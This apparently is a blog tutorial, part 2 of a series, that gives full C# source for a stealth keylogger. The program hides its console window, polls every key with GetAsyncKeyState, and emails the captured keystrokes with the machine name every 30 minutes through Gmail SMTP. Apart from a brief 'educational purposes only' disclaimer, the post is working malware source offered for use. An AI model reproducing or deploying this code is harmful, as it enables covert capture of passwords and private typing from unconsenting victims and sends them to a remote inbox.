Create a Console key logger using C# (part 2)

This post will describe how to make console window hide while capturing keystrokes and also how to retrieve captured keystrokes via email. Here I want to make notice, this program developed for educational purposes only and not for any illegal useJ.

Ok first you have to add more one more dllimport part to your code, which will help us to call ShowWindowAsync method to hide window after having access to main window’s pointer.
Here I made two threads one for capture keystrokes while other sends email at fixed time intervals. Rather talking mush I’ll add the code segment so you can figured it out.

using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Threading;
using System.Windows.Forms;
using System.Net.Mail;
using System.Net;
 
namespace KeyLogger
{
    class Program
    {
        [DllImport("user32.dll")]
        internal static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);
        [DllImport("user32.dll")]
        internal static extern int GetAsyncKeyState(Int32 i);
 
        internal static bool IsDebugging = false;
        internal static List<string> buffer = new List<string>();
        internal const int EmailTimeInterval = 30*60*1000;//min
 
        static void Main(string[] args)
        {
            //Handle
            if (args.Length > 0)
            {
                if (args.Length == 1)
                {
                    if (args[0].ToString().Equals("/d"))
                    {
                        IsDebugging = true;
                    }
                }
            }
 
            if (!IsDebugging)
            {
                IntPtr windowHandle = Process.GetCurrentProcess().MainWindowHandle;
                ShowWindowAsync(windowHandle, 0);
            }
 
            Thread loggingThread = new Thread(new ThreadStart(StartLogging));
            Thread communicationThread = new Thread(new ThreadStart(SendMail));
 
            loggingThread.Start();
            communicationThread.Start();
 
            StartLogging();
        }
 
        private static void StartLogging()
        {
            try
            {
                while (true)
                {
                    Thread.Sleep(10);
                    for (Int32 i = 0; i < 255; i++)
                    {
                        int keyState = GetAsyncKeyState(i);
                        if (keyState == 1 || keyState == -32767)
                        {
                            if (IsDebugging)
                            {
                                Console.WriteLine(((Keys)i) + ":" + DateTime.Now.ToString("H:mm:ss"));
                            }
                            else
                            {
                                buffer.Add(((Keys)i).ToString()+".");
                            }
                            break;
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                if (IsDebugging)
                {
                    MessageBox.Show(ex.Message);
                }
            }
        }
 
        private static void SendMail()
        {
 
            try
            {
                var fromAddress = new MailAddress("yourmail@gmail.com", "from_name");
                var toAddress = new MailAddress("toaddress@gmail.com", "to_name");
                const string fromPassword = "youpassword";
                string subject = System.Environment.MachineName.ToString();
                string body = "";
 
                var smtp = new SmtpClient
                {
                    Host = "smtp.gmail.com",
                    Port = 587,
                    EnableSsl = true,
                    DeliveryMethod = SmtpDeliveryMethod.Network,
                    UseDefaultCredentials = false,
                    Credentials = new NetworkCredential(fromAddress.Address, fromPassword)
                };                
 
                while (true)
                {
                    if (IsDebugging)
                    {
                        Thread.Sleep(2 * 60 * 1000);//2min
                    }
                    else
                    {
                        Thread.Sleep(EmailTimeInterval);
                    }
 
                    //construct body
                    int lowerBound = buffer.Count;//mark current count                    
                    for (int i = 0; i < lowerBound; i++)
                    {
                        body += buffer[i];
                    }
 
                    buffer.RemoveRange(0, lowerBound);
                    lowerBound = 0;
 
                    if (IsDebugging)
                    {
                        MessageBox.Show(body);
                    }
 
                    using (var message = new MailMessage(fromAddress, toAddress)
                    {
                        Subject = subject,
                        Body = body
                    })
                    {
                        smtp.Send(message);
                    }
                }
            }
            catch (Exception ex)
            {
                if (IsDebugging)
                {
                    MessageBox.Show(ex.ToString());
                }
            }
        }        
    }
}

Other than above you can debug this by sending argument /d like shown in main method.  I’ve add some buffer technique, where actually queue is being used. Once email ready to send buffer will be cleared up to the point considering thread interleaving. I’m not going to explain much about this here, think this approach would solve the problem. That’s it for now J